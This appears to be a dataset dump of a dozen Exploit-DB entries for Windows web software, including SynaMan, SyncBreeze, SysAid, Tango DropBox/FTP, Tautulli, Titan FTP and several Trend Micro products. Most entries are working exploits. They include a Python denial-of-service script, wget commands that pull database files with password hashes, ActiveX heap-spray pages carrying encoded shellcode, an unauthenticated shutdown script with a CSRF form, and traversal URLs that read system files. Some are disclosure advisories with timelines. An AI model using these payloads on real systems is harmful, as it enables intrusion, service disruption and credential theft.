deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45386
Description: SynaMan 4.0 build 1488 - (Authenticated) Cross-Site Scripting
Type: webapps
Platform: windows
Date: 2018-09-12
Author: bzyo

Exploit:
# Exploit Author: bzyo
# CVE: CVE-2018-10763
# Twitter: @bzyo_
# Exploit Title: SynaMan 4.0 - Authenticated Cross Site Scripting (XSS)
# Date: 09-12-18
# Vulnerable Software: SynaMan 4.0 build 1488
# Vendor Homepage: http://web.synametrics.com/SynaMan.htm
# Version: 4.0 build 1488
# Software Link: http://web.synametrics.com/SynaManDownload.htm
# Tested On: Windows 7 x86
  
Description
-----------------------------------------------------------------
SynaMan 4.0 suffers from Authenticated Cross Site Scripting (XSS)


Prerequisites
-----------------------------------------------------------------
Admin access to Synaman web console
 
Proof of Concept
-----------------------------------------------------------------
From Configuration > Advanced Configuration > Partial Branding
- Main heading
- Sub heading

If one were to apply the following XSS payload in either of the fields, alert pop-ups with xss would be present on navigation throughout the web app

<script>alert("xss");</script>

While Chrome does block the XSS payload on apply, simply hitting the back button and selecting "Explore" the payload is stored

 
Timeline
---------------------------------------------------------------------
05-07-18: Vendor notified of vulnerabilities
05-08-18: Vendor responded and will fix 
07-25-18: Vendor fixed in new release
09-12-18: Submitted public disclosure
Exploit-DB #45387
Description: SynaMan 4.0 build 1488 - SMTP Credential Disclosure
Type: webapps
Platform: windows
Date: 2018-09-12
Author: bzyo

Exploit:
# Exploit Author: bzyo
# CVE: CVE-2018-10814
# Twitter: @bzyo_
# Exploit Title: SynaMan 4.0 - Cleartext password SMTP settings
# Date: 09-12-18
# Vulnerable Software: SynaMan 4.0 build 1488
# Vendor Homepage: http://web.synametrics.com/SynaMan.htm
# Version: 4.0 build 1488
# Software Link: http://web.synametrics.com/SynaManDownload.htm
# Tested On: Windows 7 x86
  
Description
-----------------------------------------------------------------
SynaMan 4.0 suffers from cleartext password storage for SMTP settings which would allow email account compromise

Prerequisites
-----------------------------------------------------------------
Access to a system running Synaman 4 using a low-privileged user account
 
Proof of Concept
-----------------------------------------------------------------
The password for the smtp email account is stored in plaintext in the AppConfig.xml configuration file.  This file can be viewed by any local user of the system.

C:\SynaMan\config>type AppConfig.xml
<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
        <parameters>
                <parameter name="hasLoggedInOnce" type="4" value="true"></parameter>
                <parameter name="adminEmail" type="1" value="test@gmail.com"></parameter>
                <parameter name="smtpSecurity" type="1" value="None"></parameter>
				**truncated**
                <parameter name="smtpPassword" type="1" value="SuperSecret!"></parameter>
                <parameter name="ntServiceCommand" type="1" value="net start SynaMan"></parameter>
                <parameter name="mimicHtmlFiles" type="4" value="false"></parameter>
        </parameters>
</Configuration>


 
Timeline
---------------------------------------------------------------------
05-07-18: Vendor notified of vulnerabilities
05-08-18: Vendor responded and will fix 
07-25-18: Vendor fixed in new release
09-12-18: Submitted public disclosure
Exploit-DB #49291
Description: SyncBreeze 10.0.28 - 'login' Denial of Service (Poc)
Type: webapps
Platform: windows
Date: 2020-12-18
Author: Ahmed Elkhressy

Exploit:
# Exploit Title: SyncBreeze 10.0.28 - 'login' Denial of Service (Poc)
# Data: 18-Dec-2020
# Exploit Author: Ahmed Elkhressy
# Vendor Homepage: http://www.syncbreeze.com
# Software Link: http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe
# Version: 10.0.28
# Tested on: Windows 7, Windows 10

#!/usr/bin/python
import socket

host="192.168.1.9"
payload = 'A' *1000
request = ""
request += "POST /login HTTP/1.1\r\n"
request += "Host: "+host+"\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
request += "Accept-Language: en-US,en;q=0.5\r\n"
request += "Accept-Encoding: gzip, deflate\r\n"
request += "Content-Type: application/x-www-form-urlencoded\r\n"
request += "Content-Length: 27\r\n"
request += "Origin: http://"+host+"\r\n"
request += "Connection: keep-alive\r\n"
request += "Referer: http://"+host+"/login"+payload+"\r\n"
request += "Upgrade-Insecure-Requests: 1\r\n"
request += "\r\n"
request += "username=test&password=test"
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 80))
s.send(request)
print s.recv(1024)
s.close
Exploit-DB #35593
Description: SysAid Server - Arbitrary File Disclosure
Type: webapps
Platform: windows
Date: 2014-12-23
Author: Bernhard Mueller

Exploit:
Vantage Point Security Advisory 2014-004
========================================

Title: SysAid Server Arbitrary File Disclosure
ID: VP-2014-004
Vendor: SysAid
Affected Product: SysAid On-Premise
Affected Versions: < 14.4.2
Product Website: http://www.sysaid.com/product/sysaid
Author: Bernhard Mueller <bernhard[at]vantagepoint[dot]sg>


Summary:
---
SysAid Server is vulnerable to an unauthenticated file disclosure
attack that allows an anonymous attacker to read arbitrary files on
the system. An attacker exploiting this issue can compromise SysAid
user accounts and gain access to important system files. When SysAid
is configured to use LDAP authentication it is possible to gain read
access to the entire Active Directory or obtain domain admin
privileges.

Details:
---

How to download SysAid server database files containing usernames and
password hashes (use any unauthenticated session ID):

wget -O "ilient.mdf" --header="Cookie:
JSESSIONID=1C712103AA8E9A3D3F1D834E0063A089" \
"http://sysaid.example.com/getRdsLogFile?fileName=c:\\\\Program+Files\\\\SysAidMsSQL\\\\MSSQL10_50.SYSAIDMSSQL\\\\MSSQL\\DATA\\\\ilient.mdf"

wget -O "ilient.ldf" --header="Cookie:
JSESSIONID=1C712103AA8E9A3D3F1D834E0063A089" \
"http://sysaid.example.com/getRdsLogFile?fileName=c:\\\\Program+Files\\\\SysAidMsSQL\\\\MSSQL10_50.SYSAIDMSSQL\\\\MSSQL\\DATA\\\\ilient_log.LDF"


The dowloaded MSSQL files contain the LDAP user account and encrypted
password used to access the Active Directory (SysAid encrypts the
password with a static key that is the same for all instances of the
software).


Fix Information:
---

Upgrade to version 14.4.2.


Timeline:
---

2014/11/14: Issue reported
2014/12/22: Patch available and installed by client

About Vantage Point Security:
---

Vantage Point Security is the leading provider for penetration testing
and security advisory services in Singapore. Clients in the Financial,
Banking and Telecommunications industries  select Vantage Point
Security based on technical competency and a proven track record to
deliver significant and measurable improvements in their security
posture.

Web: https://www.vantagepoint.sg/
Contact: office[at]vantagepoint[dot]sg
Exploit-DB #37319
Description: Tango DropBox 3.1.5 + PRO - Activex HeapSpray
Type: webapps
Platform: windows
Date: 2015-06-19
Author: metacom

Exploit:
<HTML>
<BODY>
  <input language=JavaScript onclick=Tryme() type=button value="Launch Calc">
  <object id=boom classid="clsid:{C915F573-4C11-4968-9080-29E611FDBE9F}"></object>
<br>Tango DropBox Activex Heap Spray Exploit</br>
<br>Version:3.1.5 + PRO</br>
<br>The vulnerability lies in the COM component used eSellerateControl350.dll (3.6.5.0) method of the ''GetWebStoreURL' member.</br>
<br>Vendor Homepage:http://etonica.com/dropbox/index.html</br>
<br>Software Link:http://etonica.com/dropbox/download.html</br>
<br>Author: metacom</br>
<!--Video Poc:http://bit.ly/1K0hnYS -->
<SCRIPT>

var heapspray=unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
                        "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
                        "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
                        "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
                        "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
                        "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
                        "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
                        "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
                        "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
                        "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
                        "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
                        "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
                        "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
                        "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
                        "%u652E%u6578%u9000");

    	var sprayContainer = unescape("%u9090%u9090");
  	var heapToAddress = 0x0a0a0a0a;


    function Tryme()
    {
        var size_buff = 5000;
        var x =  unescape("%0a%0a%0a%0a");
        while (x.length<size_buff) x += x;
        x = x.substring(0,size_buff);

        boom.GetWebStoreURL(x, 1);
    }
    

       function getsprayContainer(sprayContainer, sprayContainerSize)
	{
		while (sprayContainer.length*2<sprayContainerSize)
		{
			sprayContainer += sprayContainer;
		}
		sprayContainer = sprayContainer.substring(0,sprayContainerSize/2);
		return (sprayContainer);
	}

        var heapBlockSize = 0x500000;
        var SizeOfHeap = 0x30;
    	var payLoadSize = (heapspray.length * 2);

    	var sprayContainerSize = heapBlockSize - (payLoadSize + SizeOfHeap);
    	var heapBlocks = (heapToAddress+heapBlockSize)/heapBlockSize;

    	var memory = new Array();
        sprayContainer = getsprayContainer(sprayContainer,sprayContainerSize);

    	for (i=0;i<heapBlocks;i++)
        {
            memory[i] = sprayContainer +  heapspray;
        }

</SCRIPT>
</BODY>
</HTML>
Exploit-DB #37320
Description: Tango FTP 1.0 (Build 136) - Activex HeapSpray
Type: webapps
Platform: windows
Date: 2015-06-19
Author: metacom

Exploit:
<HTML>
<BODY>
  <input language=JavaScript onclick=Tryme() type=button value="Launch Calc">
  <object id=boom classid="clsid:{25982EAA-87CC-4747-BE09-9913CF7DD2F1}"></object>
<br>Tango FTP Activex Heap Spray Exploit</br>
<br>Version:1.0(Build 136)</br>
<br>The vulnerability lies in the COM component used eSellerateControl350.dll (3.6.5.0) method of the ''GetWebStoreURL' member.</br>
<br>Vendor Homepage:http://www.tangoftp.com/index.html</br>
<br>Software Link:http://www.tangoftp.com/downloads/index.html</br>
<br>Author: metacom</br>
<!--Video Poc:http://bit.ly/1fjtq89 -->
<SCRIPT>

var heapspray=unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
                        "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
                        "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
                        "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
                        "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
                        "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
                        "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
                        "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
                        "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
                        "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
                        "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
                        "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
                        "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
                        "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
                        "%u652E%u6578%u9000");

    	var sprayContainer = unescape("%u9090%u9090");
  	var heapToAddress = 0x0a0a0a0a;


    function Tryme()
    {
        var size_buff = 5000;
        var x =  unescape("%0a%0a%0a%0a");
        while (x.length<size_buff) x += x;
        x = x.substring(0,size_buff);

        boom.GetWebStoreURL(x, 1);
    }
    

       function getsprayContainer(sprayContainer, sprayContainerSize)
	{
		while (sprayContainer.length*2<sprayContainerSize)
		{
			sprayContainer += sprayContainer;
		}
		sprayContainer = sprayContainer.substring(0,sprayContainerSize/2);
		return (sprayContainer);
	}

        var heapBlockSize = 0x500000;
        var SizeOfHeap = 0x30;
    	var payLoadSize = (heapspray.length * 2);

    	var sprayContainerSize = heapBlockSize - (payLoadSize + SizeOfHeap);
    	var heapBlocks = (heapToAddress+heapBlockSize)/heapBlockSize;

    	var memory = new Array();
        sprayContainer = getsprayContainer(sprayContainer,sprayContainerSize);

    	for (i=0;i<heapBlocks;i++)
        {
            memory[i] = sprayContainer +  heapspray;
        }

</SCRIPT>
</BODY>
</HTML>
Exploit-DB #47785
Description: Tautulli 2.1.9 - Cross-Site Request Forgery (ShutDown)
Type: webapps
Platform: windows
Date: 2019-12-18
Author: Ismail Tasdelen

Exploit:
# Exploit Title: Tautulli 2.1.9 - Cross-Site Request Forgery (ShutDown)
# Date: 2018-12-17 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://tautulli.com/
# Software : https://github.com/Tautulli/Tautulli
# Product Version: v2.1.9
# Platform: Windows 10 (10.0.18362)
# Python Version: 2.7.11 (v2.7.11:6d1b6a68f775, Dec 5 2015, 20:40:30) [MSC v.1500 64 bit (AMD64)]
# Vulernability Type : Cross-Site Request Forgery (ShutDown)
# Vulenrability : Cross-Site Request Forgery
# CVE : N/A

# Description :
# In the corresponding version of v2.1.9 by the manufacturer of Tautulli, it has
# been discovered that anonymous access can be achieved in applications that do
# not have a user login area and that the remote media server can be shut down.

# PoC Python Script :

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests

icon = """
 _____ __  _  _ _____ _  _ _   _   _   _   _ ___   __  ___
|_   _/  \| || |_   _| || | | | | | | | \ / (_  | /  |/ _ \
  | || /\ | \/ | | | | \/ | |_| |_| | `\ V /'/ /__`7 |\__ /
  |_||_||_|\__/  |_|  \__/|___|___|_|   \_/ |___\/ |_\//_/
     Unauthenticated Remote Code Execution
                                   by Ismail Tasdelen
"""

print(icon)

host = input("[+] HOST: ")
port = input("[+] PORT: ")

response = requests.get("http://" + host + ":" + port + "/" + "shutdown" ) # You can also run the restart and update_check commands.

if response.status_code == 200:
    print('[✓] Success!')
elif response.status_code != 200:
    print('[✗] Unsuccessful!')
else:
    exit()

# HTTP GET Request :

GET /shutdown HTTP/1.1
Host: XXX.XXX.XXX.XXX:8181
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://XXX.XXX.XXX.XXX:8181/home
Upgrade-Insecure-Requests: 1

# CSRF PoC HTML :

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://XXX.XXX.XXX.XXX:8181/shutdown">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #17382
Description: Tele Data Contact Management Server - Directory Traversal
Type: webapps
Platform: windows
Date: 2011-06-10
Author: AutoSec Tools

Exploit:
------------------------------------------------------------------------
Software................Tele Data Contact Management Server
Vulnerability...........Directory Traversal
Threat Level............Serious (3/5)
Download................http://teledata.qc.ca/td_cms/
Discovery Date..........6/1/2011
Tested On...............Windows XP SP3 EN
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A directory traversal vulnerability in Tele Data Contact Management
Server can be exploited to read files outside of the web root.


--PoC--

http://localhost/%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../%5c../boot.ini
Exploit-DB #46611
Description: Titan FTP Server Version 2019 Build 3505 - Directory Traversal / Local File Inclusion
Type: webapps
Platform: windows
Date: 2019-03-26
Author: Kevin Randall

Exploit:
# Exploit Title: Titan FTP Server Version 2019 Build 3505 Directory Traversal/Local File Inclusion
# Google Dork: N/A
# Date: 3/26/2019
# Exploit Author: Kevin Randall
# Vendor Homepage: https://titanftp.com/
# Software Link: https://titanftp.com/download
# Version: Firmware: Titan FTP Server Version 2019 Build 3505
# Tested on: Windows 7 32 Bit
# CVE : CVE-2019-10009
**********************************************************************
Discovered By: Kevin Randall on 3/23/2019
**********************************************************************
A Directory Traversal issue was discovered in the Web GUI in Titan FTP Server 2019 Build 3505.
When an authenticated user attempts to preview an uploaded file (through PreviewHandler.ashx) by using a \..\..\ technique, arbitrary files can
be loaded in the server response outside the root directory.
***********************************************************************
Tools used:

Parrot OS

Windows 7 32 Bit

BurpSuite

Browser
*************************************************************************
Vulnerability has been fixed in the following build:
Build: Titan FTP Server 2019 Build 3515
**************************************************************************
Proof of Concept (PoC):

Step 1: Authenticate through Titan FTP Web GUI

Step 2: Upload file and attempt to view it

Step 3: Intercept requests with BurpSuite when attempting to view uploaded file

Step 4: Modify "path=" and "filename=" parameters in the following GET request:
Ex: View contents of README.txt file in Python27 directory:
Note: You can access other files in directories such as System32, Desktop etc.
Payload:
*****************************************************************************************
GET /PreviewHandler.ashx?path=\..\..\..\..\Python27\README.txt&filename=README.txt
*****************************************************************************************
Step 5: If path is set-up correctly and if file exists, you will receive a 200 OK back from the server.

Step 6: View the file through the file preview in the FTP server.
**************************************************************************************************

**************************************************************************************************
Timeline:

Date Discovered: 3/23/2019
Date Disclosed to Vendor: 3/23/2019
CVE Obtained: 3/24/2019
Vendor Created Patched Version Titan FTP Version 2019 Build 3515: 3/25/2019
Vendor Created Entry in Jira System for issue (SVR-499): 3/25/2019
Date Disclosed: 3/26/2019

**************************************************************************************************
Exploit-DB #39808
Description: Trend Micro - 'CoreServiceShell.exe' Multiple HTTP s
Type: webapps
Platform: windows
Date: 2016-05-12
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=775

The main component of Trend Micro Antivirus is CoreServiceShell.exe, which runs as NT AUTHORITY\SYSTEM. 

The CoreServiceShell includes an HTTP daemon, which is used for redirecting network content inspection among other things. For example, if you attempt to visit a blacklisted page, the request is redirected to http://localhost:37848/ and a warning page is displayed.

There are multiple problems with this daemon, first of all, there's a trivial path traversal in the /loadhelp/ and /wtp/ endpoints. The daemon checks paths for "../..", but this doesn't work because you can just do "..\..", which is an entirely valid path separator on Windows.

There's also some trivial header injection bugs, e.g:

http://localhost:37848/continue/TiCredToken=29579&Source=&URL=%0aContent-Type:%20text/html%0aContent-Length:%2032%0a%0a<h1>hello</h1>

By combining these two issues, you can remotely access files as SYSTEM on a Trend Micro machine.

I happened to notice another problem, the file loader.html has an obvious XSS if the window is 10px wide. I know that's an odd condition, but an attacker can easily force that with something like

<iframe width="26px" scrolling="no" src="http://localhost:37848/LocalHelp/loader?javascript:alert(1)">

The code is like this:

	var st = getStyle("a", "width");
	
	if (st == "10px") {
		var queryString = window.location.search;
		if (queryString.length > 0 && queryString.charAt(0) == "?") {
			var url = queryString.substr(1);
		}
		window.location.href = url;
        }

I honestly have no idea what the author intended, but this bug can be used with the path traversal to access arbitrary local files, or even authenticated remote files by forcing them to be downloaded (<a href=foo download>.click())
Exploit-DB #17388
Description: Trend Micro Data Loss Prevention Virtual Appliance 5.5 - Directory Traversal
Type: webapps
Platform: windows
Date: 2011-06-11
Author: White Hat Consultores

Exploit:
Software: Trend Micro Data Loss Prevention Virtual Appliance 5.5
Vulnerability: Directory Traversal
Threat Level: Serious (5/5)
Download: http://support.trendmicro.com.cn/TM- Product/Product/DLP/5.5/Manager/5.5_GM/DLPVA- 5.5.1294-i386-DVD.iso
Discovery Date: 27/05/2011
Remote: Yes

Author Site Email: Luis Martinez, Sergio Lopez,White Hat Consultores 
http://whitehatconsultores.com/ Sergio López <sergio.sh at gmail.com> Luis Martínez <luismtzsilva at gmail.com>

Description:
A directory traversal vulnerability, can be exploited to read files outside of the web root.

PoC Exploit:
https://IP:8443/dsc//%c0%ae%c0%ae/%c0%ae%c0%ae/%c 0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%a e%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c 0%ae/%c0%ae%c0%ae/etc/passwd

PDF Advisory: 
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17388.pdf
Exploit-DB #23875
Description: Trend Micro Interscan VirusWall localweb - Directory Traversal
Type: webapps
Platform: windows
Date: 2004-03-24
Author: Tri Huynh

Exploit:
source: https://www.securityfocus.com/bid/9966/info

It has been reported that InterScan VirusWall may to a directory traversal vulnerability that may allow an attacker to request files from the '/ishttp/localweb' directory and any sub directories of 'localweb' with directory traversal strings such as '../'.

http://www.example.com/ishttpd/localweb/filename
http://www.example.com/ishttpd/localweb/java/?/../../../../../../../../autoexec.bat
http://www.example.com/ishttpd/localweb/java/?/../../../ishttpd.exe